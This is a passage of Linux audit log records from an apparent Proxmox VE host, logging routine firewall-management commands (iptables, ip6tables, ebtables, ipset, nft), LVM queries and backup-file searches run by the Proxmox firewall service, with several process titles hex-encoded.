msg=audit(1781965595.911:66265): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135815,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.815:64320): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965595911,"@rawstring":"node=pve type=PATH msg=audit(1781965595.911:66265): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.809:64319): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965594409,"@rawstring":"node=pve type=PATH msg=audit(1781965594.409:66264): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135802,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.802:64318): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965594409,"@rawstring":"node=pve type=PATH msg=audit(1781965594.409:66264): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.797:64317): proctitle=697073657400726573746F7265"} {"@timestamp":1781965594375,"@rawstring":"node=pve type=PATH msg=audit(1781965594.375:66263): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135791,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.791:64316): proctitle=\"ip6tables-save\""} {"@timestamp":1781965594375,"@rawstring":"node=pve type=PATH msg=audit(1781965594.375:66263): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135781,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.781:64315): proctitle=\"iptables-save\""} {"@timestamp":1781965593606,"@rawstring":"node=pve type=PATH msg=audit(1781965593.606:66262): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135776,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.776:64314): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965593606,"@rawstring":"node=pve type=PATH msg=audit(1781965593.606:66262): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.772:64313): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965593606,"@rawstring":"node=pve type=PATH msg=audit(1781965593.606:66261): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135770,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.770:64312): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965593606,"@rawstring":"node=pve type=PATH msg=audit(1781965593.606:66260): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135770,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.770:64311): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965593589,"@rawstring":"node=pve type=PATH msg=audit(1781965593.589:66259): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.766:64310): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965593589,"@rawstring":"node=pve type=PATH msg=audit(1781965593.589:66259): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135759,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.759:64309): proctitle=\"ip6tables-save\""} {"@timestamp":1781965593589,"@rawstring":"node=pve type=PATH msg=audit(1781965593.589:66258): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.751:64308): proctitle=\"iptables-save\""} {"@timestamp":1781965593589,"@rawstring":"node=pve type=PATH msg=audit(1781965593.589:66257): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.745:64307): proctitle=69707365740073617665"} {"@timestamp":1781965588583,"@rawstring":"node=pve type=PATH msg=audit(1781965588.583:66256): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.737:64306): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965588583,"@rawstring":"node=pve type=PATH msg=audit(1781965588.583:66256): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965135728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965135.728:64305): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965588583,"@rawstring":"node=pve type=PATH msg=audit(1781965588.583:66255): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965134860,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965134.860:64304): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965588582,"@rawstring":"node=pve type=PATH msg=audit(1781965588.582:66254): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965134826,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965134.826:64303): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965588574,"@rawstring":"node=pve type=PATH msg=audit(1781965588.574:66253): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965131.904:64302): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965588574,"@rawstring":"node=pve type=PATH msg=audit(1781965588.574:66253): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965131.904:64301): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965588574,"@rawstring":"node=pve type=PATH msg=audit(1781965588.574:66252): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965131.904:64300): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965588574,"@rawstring":"node=pve type=PATH msg=audit(1781965588.574:66251): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965131.898:64299): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585892,"@rawstring":"node=pve type=PATH msg=audit(1781965585.892:66250): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965131.898:64298): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585892,"@rawstring":"node=pve type=PATH msg=audit(1781965585.892:66250): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965131.898:64297): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585887,"@rawstring":"node=pve type=PATH msg=audit(1781965585.887:66249): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965131522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965131.522:64296): proctitle=66696E64002F7661722F6C69622F767A2F64756D702F002D747970650066002D6E616D65002A7A7374"} {"@timestamp":1781965585887,"@rawstring":"node=pve type=PATH msg=audit(1781965585.887:66249): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965126.887:64295): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585886,"@rawstring":"node=pve type=PATH msg=audit(1781965585.886:66248): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965126.887:64294): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585886,"@rawstring":"node=pve type=PATH msg=audit(1781965585.886:66248): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965126.887:64293): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585886,"@rawstring":"node=pve type=PATH msg=audit(1781965585.886:66247): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965126.878:64292): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585881,"@rawstring":"node=pve type=PATH msg=audit(1781965585.881:66246): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965126.877:64291): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585881,"@rawstring":"node=pve type=PATH msg=audit(1781965585.881:66246): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965126877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965126.877:64290): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585881,"@rawstring":"node=pve type=PATH msg=audit(1781965585.881:66246): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125710,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.710:64289): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965585872,"@rawstring":"node=pve type=PATH msg=audit(1781965585.872:66245): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125701,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.701:64288): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965585872,"@rawstring":"node=pve type=PATH msg=audit(1781965585.872:66245): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125699,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.699:64287): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965585863,"@rawstring":"node=pve type=PATH msg=audit(1781965585.863:66244): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125699,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.699:64286): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965585863,"@rawstring":"node=pve type=PATH msg=audit(1781965585.863:66244): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125692,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.692:64285): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965585852,"@rawstring":"node=pve type=PATH msg=audit(1781965585.852:66243): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.681:64284): proctitle=\"ip6tables-save\""} {"@timestamp":1781965585852,"@rawstring":"node=pve type=PATH msg=audit(1781965585.852:66243): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.668:64283): proctitle=\"iptables-save\""} {"@timestamp":1781965585845,"@rawstring":"node=pve type=PATH msg=audit(1781965585.845:66242): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125656,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.656:64282): proctitle=\"ip6tables-save\""} {"@timestamp":1781965585845,"@rawstring":"node=pve type=PATH msg=audit(1781965585.845:66242): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.641:64281): proctitle=\"iptables-save\""} {"@timestamp":1781965585824,"@rawstring":"node=pve type=PATH msg=audit(1781965585.824:66240): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.636:64280): proctitle=\"ebtables-restore\""} {"@timestamp":1781965585824,"@rawstring":"node=pve type=PATH msg=audit(1781965585.824:66240): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.633:64279): proctitle=\"ebtables-restore\""} {"@timestamp":1781965585810,"@rawstring":"node=pve type=PATH msg=audit(1781965585.810:66239): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.627:64278): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965585810,"@rawstring":"node=pve type=PATH msg=audit(1781965585.810:66239): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125621,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.621:64277): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965585793,"@rawstring":"node=pve type=PATH msg=audit(1781965585.793:66238): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125611,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.611:64276): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965585793,"@rawstring":"node=pve type=PATH msg=audit(1781965585.793:66238): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.601:64275): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965585778,"@rawstring":"node=pve type=PATH msg=audit(1781965585.778:66237): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.587:64274): proctitle=697073657400726573746F7265"} {"@timestamp":1781965585778,"@rawstring":"node=pve type=PATH msg=audit(1781965585.778:66237): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125572,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.572:64273): proctitle=\"ip6tables-save\""} {"@timestamp":1781965585756,"@rawstring":"node=pve type=PATH msg=audit(1781965585.756:66236): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125559,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.559:64272): proctitle=\"iptables-save\""} {"@timestamp":1781965585756,"@rawstring":"node=pve type=PATH msg=audit(1781965585.756:66236): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125552,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.552:64271): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965585734,"@rawstring":"node=pve type=PATH msg=audit(1781965585.734:66235): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125543,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.543:64270): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965585734,"@rawstring":"node=pve type=PATH msg=audit(1781965585.734:66235): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.540:64269): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965585699,"@rawstring":"node=pve type=PATH msg=audit(1781965585.699:66234): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.540:64268): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965585699,"@rawstring":"node=pve type=PATH msg=audit(1781965585.699:66234): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125530,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.530:64267): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965585669,"@rawstring":"node=pve type=PATH msg=audit(1781965585.669:66233): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125506,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.506:64266): proctitle=\"ip6tables-save\""} {"@timestamp":1781965585669,"@rawstring":"node=pve type=PATH msg=audit(1781965585.669:66233): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.493:64265): proctitle=\"iptables-save\""} {"@timestamp":1781965585661,"@rawstring":"node=pve type=PATH msg=audit(1781965585.661:66232): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.485:64264): proctitle=69707365740073617665"} {"@timestamp":1781965585661,"@rawstring":"node=pve type=PATH msg=audit(1781965585.661:66232): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125471,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.471:64263): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965585652,"@rawstring":"node=pve type=PATH msg=audit(1781965585.652:66231): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965125460,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965125.460:64262): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965585652,"@rawstring":"node=pve type=PATH msg=audit(1781965585.652:66231): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965124754,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965124.754:64261): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965585648,"@rawstring":"node=pve type=PATH msg=audit(1781965585.648:66230): item=1 